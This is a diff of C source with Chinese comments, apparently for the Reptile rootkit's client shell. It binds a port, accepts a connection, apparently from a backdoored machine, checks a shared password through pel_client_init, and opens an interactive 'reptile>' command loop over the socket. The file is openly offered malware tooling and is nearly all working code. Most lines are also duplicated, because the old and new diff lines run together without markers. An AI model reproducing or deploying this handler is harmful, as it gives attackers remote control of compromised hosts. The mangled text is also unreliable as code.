// 循环读取用户输入,直到换行符
while ( 1 ) {
while ( 1 ) {
c = getchar ( ) ;
c = getchar ( ) ;
if ( c = = EOF ) {
if ( c = = EOF ) {
free ( buffer ) ;
free ( buffer ) ;
exit ( EXIT_SUCCESS ) ;
exit ( EXIT_SUCCESS ) ;
}
} else if ( c = = ' \n ' ) {
else if ( c = = ' \n ' ) {
buffer [ position ] = ' \0 ' ;
buffer [ position ] = ' \0 ' ;
return buffer ;
return buffer ;
}
} else {
else {
buffer [ position ] = c ;
buffer [ position ] = c ;
}
}
position + + ;
position + + ;
if ( position > = bufsize ) {
if ( position > = bufsize ) {
bufsize + = RL_BUFSIZE ;
bufsize + = RL_BUFSIZE ;
char * buffer_backup = buffer ;
char * buffer_backup = buffer ;
if ( ( buffer = realloc ( buffer , bufsize ) ) = = NULL ) {
if ( ( buffer = realloc ( buffer , bufsize ) ) = = NULL ) {
free ( buffer_backup ) ;
free ( buffer_backup ) ;
fprintf ( stderr , " reptile: allocation error \n " ) ;
fprintf ( stderr , " reptile: allocation error \n " ) ;
@ -582,155 +624,149 @@ char* read_line(void) {
}
}
}
}
// 解析输入行的函数
char * * parse ( char * line )
char * * parse ( char * line ) {
{
int bufsize = TOK_BUFSIZE , position = 0 ;
int bufsize = TOK_BUFSIZE , position = 0 ;
char * * tokens = malloc ( bufsize * sizeof ( char * ) ) ;
char * * tokens = malloc ( bufsize * sizeof ( char * ) ) ;
char * token , * * tokens_backup ;
char * token , * * tokens_backup ;
// 如果内存分配失败,打印错误信息并退出
if ( ! tokens ) {
if ( ! tokens ) {
fprintf ( stderr , " reptile: allocation error \n " ) ;
fprintf ( stderr , " reptile: allocation error \n " ) ;
exit ( EXIT_FAILURE ) ;
exit ( EXIT_FAILURE ) ;
}
}
// 使用strtok函数分割命令行
token = strtok ( line , TOK_DELIM ) ;
token = strtok ( line , TOK_DELIM ) ;
while ( token ! = NULL ) {
while ( token ! = NULL ) {
tokens [ position ] = token ;
tokens [ position ] = token ;
position + + ;
position + + ;
if ( position > = bufsize ) {
if ( position > = bufsize ) {
bufsize + = TOK_BUFSIZE ;
bufsize + = TOK_BUFSIZE ;
tokens_backup = tokens ;
tokens_backup = tokens ;
tokens = realloc ( tokens , bufsize * sizeof ( char * ) ) ;
tokens = realloc ( tokens , bufsize * sizeof ( char * ) ) ;
if ( ! tokens ) {
if ( ! tokens ) {
free ( tokens_backup ) ;
free ( tokens_backup ) ;
fprintf ( stderr , " reptile: allocation error \n " ) ;
fprintf ( stderr , " reptile: allocation error \n " ) ;
exit ( EXIT_FAILURE ) ;
exit ( EXIT_FAILURE ) ;
}
}
}
}
token = strtok ( NULL , TOK_DELIM ) ;
token = strtok ( NULL , TOK_DELIM ) ;
}
}
tokens [ position ] = NULL ;
tokens [ position ] = NULL ;
return tokens ;
return tokens ;
}
}
// 命令行循环函数
void reptile_loop ( int sock )
void reptile_loop ( int sock ) {
{
char * line ;
char * line ;
char * * args ;
char * * args ;
int status ;
int status ;
// 循环读取命令并执行,直到接收到退出信号
do {
do {
line = readline ( " \ e[01;32mreptile> \ e[00m " ) ;
line = readline ( " \ e[01;32mreptile> \ e[00m " ) ;
add_history ( line ) ;
add_history ( line ) ;
args = parse ( line ) ;
args = parse ( line ) ;
status = execute ( sock , args ) ;
status = execute ( sock , args ) ;
free ( line ) ;
free ( line ) ;
free ( args ) ;
free ( args ) ;
} while ( status ) ;
} while ( status ) ;
clear_history ( ) ;
clear_history ( ) ;
}
}
// 处理关闭连接的信号
void handle_shutdown ( int signal )
void handle_shutdown ( int signal ) {
{
close ( sockfd ) ;
close ( sockfd ) ;
exit ( signal ) ;
exit ( signal ) ;
}
}
// 监听连接的函数
void listener ( int port )
void listener ( int port ) {
{
int new_sockfd , yes = 1 ;
int new_sockfd , yes = 1 ;
struct sockaddr_in host_addr , client_addr ;
struct sockaddr_in host_addr , client_addr ;
socklen_t sin_size ;
socklen_t sin_size ;
// 创建套接字
if ( ( sockfd = socket ( PF_INET , SOCK_STREAM , 0 ) ) = = - 1 ) {
if ( ( sockfd = socket ( PF_INET , SOCK_STREAM , 0 ) ) = = - 1 ) {
kill ( pid , SIGQUIT ) ;
kill ( pid , SIGQUIT ) ;
fatal ( " in socket " ) ;
fatal ( " in socket " ) ;
}
}
// 设置套接字选项,允许立即重用地址
if ( setsockopt ( sockfd , SOL_SOCKET , SO_REUSEADDR , & yes , sizeof ( int ) ) = =
if ( setsockopt ( sockfd , SOL_SOCKET , SO_REUSEADDR , & yes , sizeof ( int ) ) = = - 1 ) {
- 1 ) {
kill ( pid , SIGQUIT ) ;
kill ( pid , SIGQUIT ) ;
close ( sockfd ) ;
close ( sockfd ) ;
fatal ( " setting socket option SO_REUSEADDR " ) ;
fatal ( " setting socket option SO_REUSEADDR " ) ;
}
}
// 设置信号处理函数,处理关闭连接的信号
signal ( SIGTERM , handle_shutdown ) ;
signal ( SIGTERM , handle_shutdown ) ;
signal ( SIGINT , handle_shutdown ) ;
signal ( SIGINT , handle_shutdown ) ;
// 定义主机地址结构体
host_addr . sin_family = AF_INET ;
host_addr . sin_family = AF_INET ;
host_addr . sin_port = htons ( port ) ;
host_addr . sin_port = htons ( port ) ;
host_addr . sin_addr . s_addr = INADDR_ANY ;
host_addr . sin_addr . s_addr = INADDR_ANY ;
memset ( & ( host_addr . sin_zero ) , ' \0 ' , 8 ) ;
memset ( & ( host_addr . sin_zero ) , ' \0 ' , 8 ) ;
// 绑定套接字到主机地址
if ( bind ( sockfd , ( struct sockaddr * ) & host_addr ,
if ( bind ( sockfd , ( struct sockaddr * ) & host_addr , sizeof ( struct sockaddr ) ) = = - 1 ) {
sizeof ( struct sockaddr ) ) = = - 1 ) {
kill ( pid , SIGQUIT ) ;
kill ( pid , SIGQUIT ) ;
close ( sockfd ) ;
close ( sockfd ) ;
fatal ( " binding to socket " ) ;
fatal ( " binding to socket " ) ;
}
}
// 监听套接字
if ( listen ( sockfd , 5 ) = = - 1 ) {
if ( listen ( sockfd , 5 ) = = - 1 ) {
kill ( pid , SIGQUIT ) ;
kill ( pid , SIGQUIT ) ;
close ( sockfd ) ;
close ( sockfd ) ;
fatal ( " listening on socket " ) ;
fatal ( " listening on socket " ) ;
}
} else {
else {
fprintf ( stdout , " %s Listening on port %d... \n " , good , port ) ;
fprintf ( stdout , " %s Listening on port %d... \n " , good , port ) ;
}
}
// 接受客户端连接
sin_size = sizeof ( struct sockaddr_in ) ;
sin_size = sizeof ( struct sockaddr_in ) ;
new_sockfd = accept ( sockfd , ( struct sockaddr * ) & client_addr , & sin_size ) ;
new_sockfd = accept ( sockfd , ( struct sockaddr * ) & client_addr , & sin_size ) ;
if ( new_sockfd = = - 1 ) {
if ( new_sockfd = = - 1 ) {
kill ( pid , SIGQUIT ) ;
kill ( pid , SIGQUIT ) ;
close ( sockfd ) ;
close ( sockfd ) ;
fatal ( " accepting connection " ) ;
fatal ( " accepting connection " ) ;
}
}
// 打印客户端连接信息
fprintf ( stdout , " %s Connection from %s:%d \n \n " , awesome ,
fprintf ( stdout , " %s Connection from %s:%d \n \n " , awesome ,
inet_ntoa ( client_addr . sin_addr ) , ntohs ( client_addr . sin_port ) ) ;
inet_ntoa ( client_addr . sin_addr ) , ntohs ( client_addr . sin_port ) ) ;
// 如果没有设置密码,提示用户输入密码
// usleep(100 * 1500);
if ( password = = NULL ) {
if ( password = = NULL ) {
password = getpass ( " Password: " ) ;
password = getpass ( " Password: " ) ;
fprintf ( stdout , " \n " ) ;
fprintf ( stdout , " \n " ) ;
}
}
// 初始化客户端连接
if ( pel_client_init ( new_sockfd , password ) ! = PEL_SUCCESS ) {
if ( pel_client_init ( new_sockfd , password ) ! = PEL_SUCCESS ) {
close ( new_sockfd ) ;
close ( new_sockfd ) ;
fprintf ( stdout , " %s wrong password! \n \n " , bad ) ;
fprintf ( stdout , " %s wrong password! \n \n " , bad ) ;
exit ( ERROR ) ;
exit ( ERROR ) ;
}
}
// 打印欢迎信息并进入命令行循环
banner ( ) ;
banner ( ) ;
reptile_loop ( new_sockfd ) ;
reptile_loop ( new_sockfd ) ;
// 关闭套接字
shutdown ( new_sockfd , SHUT_RDWR ) ;
shutdown ( new_sockfd , SHUT_RDWR ) ;
close ( sockfd ) ;
close ( sockfd ) ;
}
}
// 显示使用方法的函数
void usage ( char * argv0 )
void usage ( char * argv0 ) {
{
fprintf ( stderr , " Usage: %s [ -p port ] [ -s secret ] \n " , argv0 ) ;
fprintf ( stderr , " Usage: %s [ -p port ] [ -s secret ] \n " ,
argv0 ) ;
exit ( 1 ) ;
exit ( 1 ) ;
}
}
// 主函数
int main ( int argc , char * * argv )
int main ( int argc , char * * argv ) {
{
int opt , port = 0 ;
int opt , port = 0 ;
// 解析命令行参数
while ( ( opt = getopt ( argc , argv , " p:s: " ) ) ! = EOF ) {
while ( ( opt = getopt ( argc , argv , " p:s: " ) ) ! = EOF ) {
switch ( opt ) {
switch ( opt ) {
case ' p ' :
case ' p ' :
@ -745,28 +781,28 @@ int main(int argc, char** argv) {
}
}
}
}
// 如果没有提供端口号,则显示使用方法并退出
if ( port = = 0 )
if ( port = = 0 )
usage ( * argv ) ;
usage ( * argv ) ;
// 如果命令行参数不足,则显示使用方法并退出
if ( argc < = 1 )
if ( argc < = 1 )
usage ( argv [ 0 ] ) ;
usage ( argv [ 0 ] ) ;
// 打印使用密码信息
// printf("\n\e[01;36mReptile Shell\e[00m\n");
// printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
if ( password ! = NULL )
if ( password ! = NULL )
fprintf ( stdout , " %s Using password: %s \n " , good , password ) ;
fprintf ( stdout , " %s Using password: %s \n " , good , password ) ;
// 创建子进程
pid = fork ( ) ;
pid = fork ( ) ;
if ( pid = = - 1 )
if ( pid = = - 1 )
fatal ( " on forking proccess " ) ;
fatal ( " on forking proccess " ) ;
// 父进程调用listener函数监听连接
if ( pid > 0 )
if ( pid > 0 )
listener ( port ) ;
listener ( port ) ;
// 子进程执行后台任务(这部分代码被注释掉了)
// if (pid == 0)
// background job while we are listening
return EXIT_SUCCESS ;
return EXIT_SUCCESS ;
}
}